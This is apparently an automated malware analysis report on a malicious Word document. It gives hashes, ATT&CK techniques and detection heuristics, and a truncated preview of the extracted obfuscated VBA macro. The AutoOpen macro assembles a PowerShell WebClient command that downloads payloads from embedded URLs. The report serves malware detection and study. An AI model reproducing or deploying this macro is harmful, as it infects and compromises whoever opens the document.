Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04ec0d64bb11c65f…

MALICIOUS

Office (OLE)

173.0 KB Created: 2017-11-28 17:22:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 84b19bb87a59eb44ec6c7a3fc4564dc9 SHA-1: 2462771c32a898a3bbf7da4fdd8de4fe2db1b97e SHA-256: 04ec0d64bb11c65f5fb5ae9f9005bcee8f0b51da88644153ebf7b4c3a77f8d6d
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses the Shell() function, which is a critical finding, and is marked as an AutoOpen macro, indicating it executes automatically upon opening. The macro's obfuscated nature and the presence of the Shell() call strongly suggest it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 88957 bytes
SHA-256: 5c146aa84162089a367d35d5584d0cf6e282dde601e88dd7a4a9db55594f1528
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZpZJPCnMv"
Function WqtcHnzvt()
zRaGW = Array(StrReverse("GLaIPwtHDi"), StrReverse("RWZGoszMAC"), StrReverse("dVwIuVLvsX"), StrReverse("AiCSNRuURP"), StrReverse("LNESmECKlS"), StrReverse("uwjCmkOSOt"), StrReverse("nzPfinUGsX"), StrReverse("ziulqQRiVq"))
DbSjL = Mid("fPvaLiAb(SgP&((VaRIaBlE xDTSgP+SgP*mDR*xDT).NAMe[3,11,2]-JOinxDTxDT) SgP+SgP(((xDThiVfrxDT+xDTanc = nxDT+'+'xDTew-object'+' xDT+xDTSystemxDT+xDT.Net.xDT+xDSgP+SgPTWebClxDT+xDTiexDT+xDTnt;xDT+xDThxDT+xDTiVRn", 9, 196)
EKoKlkAS = Array(StrReverse("LNSwChHHtp"), StrReverse("UfclkFkrrW"), StrReverse("XCzLPjEmiM"), StrReverse("bPJUojiIaR"), StrReverse("MctPHzctMV"), StrReverse("zcVCRJOHiT"), StrReverse("cUdhOEVHwE"), StrReverse("bcRaKuIjEQ"))
qTaOEa = Array(StrReverse("SAKZcDvAfc"), StrReverse("DcGYcNwYnz"), StrReverse("jwRNUPBzLW"), StrReverse("TjwXbnmpDa"), StrReverse("sTbQUVYWJd"), StrReverse("RtqWGWizFM"), StrReverse("CzoJJTfiwo"), StrReverse("bIUNGPVBtw"))
oVlRRi = Array(StrReverse("kupDFzlLwS"), StrReverse("RoaJjLuqmM"), StrReverse("zvInaMqZRX"), StrReverse("iVjPKGZHVH"), StrReverse("mZiDjwwDnO"), StrReverse("qhzYRomBct"), StrReverse("GMubnwFKzc"), StrReverse("lnUiZZREEd"))
fmvKvhY = Mid("k91sQLzWm4uKzqLGX7exxDT+xDTelXL;fxDT+xDTorxDT+xDTeachxDT+xDT9vUhdtu2", 19, 42)
OPwSq = Array(StrReverse("rfoiEZsaRF"), StrReverse("EpjqYufRGB"), StrReverse("qpaUCJYdPq"), StrReverse("AjEGUXJGEk"), StrReverse("aFRqklYioM"), StrReverse("kDvsICFUjv"), StrReverse("AOKbEXlcVB"), StrReverse("lYMWalXjkQ"))
zoDdkQGADv = Array(StrReverse("NnlCjzYLwV"), StrReverse("UYicAafDQn"), StrReverse("roDKcCMSwr"), StrReverse("XhzzfSarup"), StrReverse("XtLdINJsdz"), StrReverse("uOoRmZjbZi"), StrReverse("kGMHzmbizi"), StrReverse("AoIaPzcaCP"))
MIZDiFN = Array(StrReverse("jNrDWZPsjW"), StrReverse("pYMUkNQtkZ"), StrReverse("bPNjzwiCEm"), StrReverse("BXwDGqoaBi"), StrReverse("JhaIAbGZHO"), StrReverse("aTSWVUzLFY"), StrReverse("vMnuURcJOt"), StrReverse("YpsBQuoEjW"))
NRwJVjnYU = Mid("0TZz8xDT://ww'+'xDT+xDTw.'+'apbxDT+xDTmSgP+SgP.cxDT+xDToxjPphfOv9tDBnNZNU7XHRRj", 6, 52)
OXKijSIN = Array(StrReverse("tUozwJtjMF"), StrReverse("iwRQFRjEfV"), StrReverse("miuvwGFNBo"), StrReverse("zJZKkPRNKo"), StrReverse("tvSrzBWsVz"), StrReverse("RXujdOasAq"), StrReverse("DjiYHZZHfp"), StrReverse("ATtrcrMCwz"))
MRnZbfwThv = Array(StrReverse("rFvpMiEZil"), StrReverse("rdUcmwtjoi"), StrReverse("wzKNqkaQGa"), StrReverse("jvfjhqRwhl"), StrReverse("NDacCvVPPT"), StrReverse("BHQzXtuhzb"), StrReverse("HnSHFvwlvw"), StrReverse("fvwCUvWiLv"))
Aqmcn = Array(StrReverse("KQphSTzSFj"), StrReverse("FDjQSzMrrP"), StrReverse("iBwrIETWNS"), StrReverse("WiQFIwbWQw"), StrReverse("kuoNckYTWq"), StrReverse("SRUDKISwZN"), StrReverse("AdEnJanbIU"), StrReverse("XqavinMkPY"))
qCVIpazdI = Mid("NMGWizIDUhtmqgP+'+'SgPc.T'+'oStrxDT+xDTing()xDT+xoAczGAjDzawUNsiiPd3h4", 14, 36)
WBGjEsF = Array(StrReverse("PLBnYYfhLn"), StrReverse("wjwGdZkTWG"), StrReverse("wjUSoGJNdc"), StrReverse("XLWEMwmfih"), StrReverse("QRaHzvwsYv"), StrReverse("KDLEwfriwS"), StrReverse("OREiQkNuuh"), StrReverse("nFkpqfJMSs"))
jIazpfisS = Array(StrReverse("jzzXzEKMvz"), StrReverse("fdzDwHqBEC"), StrReverse("wzLCTcqZZW"), StrReverse("wijAjAihnE"), StrReverse("QafIousXwX"), StrReverse("zKfNbjnwEX"), StrReverse("NknYDzuwWv"), StrReverse("cIOzlWRCNY"))
XUOrOKGKf = Array(StrReverse("IzXVVIoNFA"), StrReverse("cmdPcYdCuG"), StrReverse("zhWMjhCJYw"), StrReverse("NpBIbswZwW"), StrReverse("nksbTkXsKY"), StrReverse("zWhOBbaLlo"), StrReverse("GipHmmkVnk"), StrReverse("ZEDYTNpvsz"))
PDfjZRZrPw = Mid("Xc7jazA3YlObLd6zksGdjOb25tLw8T+xDTGSgP+SgP/xDT+xDT,hxDT+xDTttp:/xDT+xSgP+SgPDT/wwwxDT+xD'+'T.xDT+xDTmaxDT+xfd2XwTi9En", 30, 78)
jUAzuvIwNFm = Array(StrReverse("jTaBZlCWZz"), StrReverse("MhdPrfnHFr"), StrReverse("zwBDuowjbF"), StrReverse("SljfnuJlzS"), StrReverse("uYXZivfwIF"
... (truncated)

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